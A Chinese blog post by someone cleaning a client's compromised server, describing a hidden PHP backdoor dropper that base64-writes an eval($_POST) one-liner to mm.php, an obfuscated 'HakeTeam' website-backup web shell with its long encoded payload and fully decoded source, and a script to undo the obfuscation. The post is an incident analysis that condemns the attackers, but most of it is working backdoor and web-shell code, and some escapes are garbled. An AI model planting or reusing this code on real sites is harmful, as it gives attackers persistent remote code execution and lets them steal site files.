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PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)
摘要:今天一个客户的服务器频繁被写入:mm.php内容为:复制代码代码如下:最后查到某文件内的第一行为以下代码:复制代码代码如下:fputs(fo...

今天一个客户的服务器频繁被写入:

mm.php

内容为:

复制代码 代码如下:

<?eval($_POST[c]);?>

最后查到某文件内的第一行为以下代码:

复制代码 代码如下:

fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4="));

base64_decode("bW0ucGhw") //mm.php

base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=") //

<?eval($_POST[c]);?>

这样,只要这些文件被访问就会自动创建 mm.php

如果你发现了mm.php,删除了,以后还会再有的,真是越来越变态了~

下以相关内容

复制代码 代码如下:

PD9ldmFs //base64_encode("<?eval");

ZXZhbA== //base64_encode("eval");

还发现一个ThinkPHP框架—sgcms的相密文件,内容以下:

复制代码 代码如下:

<?php // Code By isosky www.nbst.org

$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=12308;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTY1KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ05TWGZZT0cvUXExeWF1ak00VzlFeDh0bEk3b0FIVmR3NWhEQ3oyQjBuc3ZQcFptS2diUjNKVUxlaytyNmNUaUY9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>

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

解密后为:

复制代码 代码如下:

<?php

echo '<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>HakeTeam Website Backup V1.0 Beta - ';echo getenv('HTTP_HOST');;echo '</title>

<style type="text/css">

body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,textarea,p,blockquote,th,td{

margin:0;padding:0;

}

body {

background:#EBEBED;

color:#333;

font-family:"Arial",Microsoft YaHei,Verdana,Helvetica,Arial,Sans-Serif;

font-size:14px;

}

.textfield,textarea {

border:1px solid green;

font-size:14px;

padding:2px;

}

.textfield:focus,textarea:focus {

border-color:#F1CA7E;

}

.button {

font-size:14px;

text-decoration:none;

margin-top:5px;

background:#F5F5F5;

border:1px solid green;

color:#000;

padding:2px 5px;

}

.button:hover {

text-decoration:none;

background:#EEE;

border:1px solid #F1CA7E;

color:#000;

}

pre {

border:1px #ccc solid;

line-height:18px;

overflow:auto;

word-wrap:break-word;

max-height:220px;

margin:4px;

padding:4px 8px;

}

</style>

</head>

<form action="" method="post" name="postform">

<div align="left">

';

ini_set('memory_limit','2048M');

echo "<pre> ----------------------------------------------

[<font color=#00BB00>*</font>]HakeTeam PHP Website Backup Shell V1.0 Beta

[<font color=#00BB00>*</font>]Forum:http://www.hake.cc

[<font color=#00BB00>*</font>]isosky's Blog:www.nbst.org

----------------------------------------------

File List:</pre>";

$fdir = opendir('./');

while($file=readdir($fdir))

{

if($file=='.'||$file=='..')

continue;

echo "<input name='dfile[]' type='checkbox' value='$file' ".($file==basename(__FILE__)?'':'checked').'> ';

if(is_file($file))

{

echo "<font face="wingdings" size="5">2</font>$file<br>";

}

else

{

echo "<font face="wingdings" size="5">0</font>$file<br>";

}

}

;echo '

FileType:

<input name="filetype" type="text" id="filetype" value="" size="50">

(Blank for all,use "|" to separate,e.g.:php|html|jpg) <br />

Backup Directory:

<input name="todir" type="text" id="todir" value="iso_backup" size="41">

(Blank for this directory,use relative url,and you must be able to write file)

<br>

Backup Name:

<input name="zipname" type="text" id="zipname" value="iso.zip" size="44">

(.zip type file)

<br>

<br>

<input name="backup" type="hidden" id="backup" value="dozip">

<input type="submit" name="Submit" value="let's go!">

<div align="center">

<a href="http://nbst.org"><img src="http://nbst.org/logo.png" border="0"></a></div>

<div>

';

set_time_limit(0);

class PHPzip

{

var $file_count = 0 ;

var $datastr_len = 0;

var $dirstr_len = 0;

var $filedata = '';

var $gzfilename;

var $fp;

var $dirstr='';

var $filefilters = array();

function SetFileFilter($filetype)

{

$this->filefilters = explode('|',$filetype);

}

function unix2DosTime($unixtime = 0)

{

$timearray = ($unixtime == 0) ?getdate() : getdate($unixtime);

if ($timearray['year'] <1980)

{

$timearray['year'] = 1980;

$timearray['mon'] = 1;

$timearray['mday'] = 1;

$timearray['hours'] = 0;

$timearray['minutes'] = 0;

$timearray['seconds'] = 0;

}

return (($timearray['year'] -1980) <<25) |($timearray['mon'] <<21) |($timearray['mday'] <<16) |($timearray['hours'] <<11) |($timearray['minutes'] <<5) |($timearray['seconds'] >>1);

}

function startfile($path = 'dodo.zip')

{

$this->gzfilename=$path;

$mypathdir=array();

do

{

$mypathdir[] = $path = dirname($path);

}while($path != '.');

@end($mypathdir);

do

{

$path = @current($mypathdir);

@mkdir($path);

}while(@prev($mypathdir));

if($this->fp=@fopen($this->gzfilename,'w'))

{

return true;

}

return false;

}

function addfile($data,$name)

{

$name = str_replace('','/',$name);

if(strrchr($name,'/')=='/')

return $this->adddir($name);

if(!empty($this->filefilters))

{

if (!in_array(end(explode('.',$name)),$this->filefilters))

{

return;

}

}

$dtime = dechex($this->unix2DosTime());

$hexdtime = 'x'.$dtime[6] .$dtime[7] .'x'.$dtime[4] .$dtime[5] .'x'.$dtime[2] .$dtime[3] .'x'.$dtime[0] .$dtime[1];

eval('$hexdtime = "'.$hexdtime .'";');

$unc_len = strlen($data);

$crc = crc32($data);

$zdata = gzcompress($data);

$c_len = strlen($zdata);

$zdata = substr(substr($zdata,0,strlen($zdata) -4),2);

$datastr = "x50x4bx03x04";

$datastr .= "x14x00";

$datastr .= "x00x00";

$datastr .= "x08x00";

$datastr .= $hexdtime;

$datastr .= pack('V',$crc);

$datastr .= pack('V',$c_len);

$datastr .= pack('V',$unc_len);

$datastr .= pack('v',strlen($name));

$datastr .= pack('v',0);

$datastr .= $name;

$datastr .= $zdata;

$datastr .= pack('V',$crc);

$datastr .= pack('V',$c_len);

$datastr .= pack('V',$unc_len);

fwrite($this->fp,$datastr);

$my_datastr_len = strlen($datastr);

unset($datastr);

$dirstr = "x50x4bx01x02";

$dirstr .= "x00x00";

$dirstr .= "x14x00";

$dirstr .= "x00x00";

$dirstr .= "x08x00";

$dirstr .= $hexdtime;

$dirstr .= pack('V',$crc);

$dirstr .= pack('V',$c_len);

$dirstr .= pack('V',$unc_len);

$dirstr .= pack('v',strlen($name) );

$dirstr .= pack('v',0 );

$dirstr .= pack('v',0 );

$dirstr .= pack('v',0 );

$dirstr .= pack('v',0 );

$dirstr .= pack('V',32 );

$dirstr .= pack('V',$this->datastr_len );

$dirstr .= $name;

$this->dirstr .= $dirstr;

$this ->file_count ++;

$this ->dirstr_len += strlen($dirstr);

$this ->datastr_len += $my_datastr_len;

}

function adddir($name)

{

$name = str_replace("",'/',$name);

$datastr = "x50x4bx03x04x0ax00x00x00x00x00x00x00x00x00";

$datastr .= pack('V',0).pack('V',0).pack('V',0).pack('v',strlen($name) );

$datastr .= pack('v',0 ).$name.pack('V',0).pack('V',0).pack('V',0);

fwrite($this->fp,$datastr);

$my_datastr_len = strlen($datastr);

unset($datastr);

$dirstr = "x50x4bx01x02x00x00x0ax00x00x00x00x00x00x00x00x00";

$dirstr .= pack('V',0).pack('V',0).pack('V',0).pack('v',strlen($name) );

$dirstr .= pack('v',0 ).pack('v',0 ).pack('v',0 ).pack('v',0 );

$dirstr .= pack('V',16 ).pack('V',$this->datastr_len).$name;

$this->dirstr .= $dirstr;

$this ->file_count ++;

$this ->dirstr_len += strlen($dirstr);

$this ->datastr_len += $my_datastr_len;

}

function createfile()

{

$endstr = "x50x4bx05x06x00x00x00x00".

pack('v',$this ->file_count) .

pack('v',$this ->file_count) .

pack('V',$this ->dirstr_len) .

pack('V',$this ->datastr_len) .

"x00x00";

fwrite($this->fp,$this->dirstr.$endstr);

fclose($this->fp);

}

}

if(!trim($_REQUEST[zipname]))

$_REQUEST[zipname] = 'dodozip.zip';

else

$_REQUEST[zipname] = trim($_REQUEST[zipname]);

if(!strrchr(strtolower($_REQUEST[zipname]),'.')=='.zip')

$_REQUEST[zipname] .= '.zip';

$_REQUEST[todir] = str_replace('','/',trim($_REQUEST[todir]));

if(!strrchr(strtolower($_REQUEST[todir]),'/')=='/')

$_REQUEST[todir] .= '/';

if($_REQUEST[todir]=='/')

$_REQUEST[todir] = './';

function listfiles($dir='.')

{

global $dodozip;

$sub_file_num = 0;

if(is_file("$dir"))

{

if(realpath($dodozip ->gzfilename)!=realpath("$dir"))

{

$dodozip ->addfile(implode('',file("$dir")),"$dir");

return 1;

}

return 0;

}

$handle=opendir("$dir");

while ($file = readdir($handle))

{

if($file=='.'||$file=='..')

continue;

if(is_dir("$dir/$file"))

{

$sub_file_num += listfiles("$dir/$file");

}

else

{

if(realpath($dodozip ->gzfilename)!=realpath("$dir/$file"))

{

$dodozip ->addfile(implode('',file("$dir/$file")),"$dir/$file");

$sub_file_num ++;

}

}

}

closedir($handle);

if(!$sub_file_num)

$dodozip ->addfile('',"$dir/");

return $sub_file_num;

}

function num_bitunit($num)

{

$bitunit=array(' B',' KB',' MB',' GB');

for($key=0;$key<count($bitunit);$key++)

{

if($num>=pow(2,10*$key)-1)

{

$num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100)." $bitunit[$key]";

}

}

return $num_bitunit_str;

}

if(is_array($_REQUEST[dfile]))

{

$dodozip = new PHPzip;

if($_REQUEST['filetype'] != NULL)

$dodozip ->SetFileFilter($_REQUEST['filetype']);

if($dodozip ->startfile("$_REQUEST[todir]$_REQUEST[zipname]"))

{

echo 'Working,Please wait...<br><br>';

$filenum = 0;

foreach($_REQUEST[dfile] as $file)

{

if(is_file($file))

{

if(!empty($dodozip ->filefilters))

if (!in_array(end(explode('.',$file)),$dodozip ->filefilters))

continue;

echo "<font face="wingdings" size="5">2</font>$file<br>";

}

else

{

echo "<font face="wingdings" size="5">0</font>$file<br>";

}

$filenum += listfiles($file);

}

$dodozip ->createfile();

echo "<br>success,For $filenum files.Url:<a href='$_REQUEST[todir]$_REQUEST[zipname]' _fcksavedurl='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).')</a>';

}

else

{

echo "$_REQUEST[todir]$_REQUEST[zipname] Error,Unable to write file.<br>";

}

}

;echo '

</form>

</body>

</html>

';?>

这是一个用来打包成zip的php代码,这些鸟人为了黑别人的网站什么办法都用,真恶心~~

下如是一个高人写的ThinkPHP框架(sgcms)解密程序:

复制代码 代码如下:

<?php

// This file is protected by sgcms & provided under license.

Copyright(C) 2007-2010 www.sgcms.cn, All rights reserved.

$OOO0O0O00=__FILE__;

$OOO000000=urldecode('th6sbehqla4co_sadfpnr');

$OO00O0000=21496;

$OOO0000O0=$OOO000000{4}.

$OOO000000{9}.$OOO000000{3}.$OOO000000{5};

$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};

$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};

$O0O0000O0='OOO0000O0';

eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwM...

很明显,是使用了某种PHP代码混淆工具混淆了下,Google网上搜了下,问题解决,给遇到同样问题的朋友一个方便。

解密php文件:

复制代码 代码如下:

<?php

$filename="GlobalAction.class.php";//要解密的文件

$lines = file($filename);//0,1,2行

//第一次base64解密

$content="";

if(preg_match("/O0O0000O0('.*')/",$lines[1],$y))

{

$content=str_replace("O0O0000O0('","",$y[0]);

$content=str_replace("')","",$content);

$content=base64_decode($content);

}

//第一次base64解密后的内容中查找密钥

$decode_key="";

if(preg_match("/),'.*',/",$content,$k))

{

$decode_key=str_replace("),'","",$k[0]);

$decode_key=str_replace("',","",$decode_key);

}

//查找要截取字符串长度

$str_length="";

if(preg_match("/,d*),/",$content,$k))

{

$str_length=str_replace("),","",$k[0]);

$str_length=str_replace(",","",$str_length);

}

//截取文件加密后的密文

$Secret=substr($lines[2],$str_length);

//echo $Secret;

//直接还原密文输出

echo "<?phpn".base64_decode(strtr($Secret,$decode_key,

'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')).

"?>";

?>

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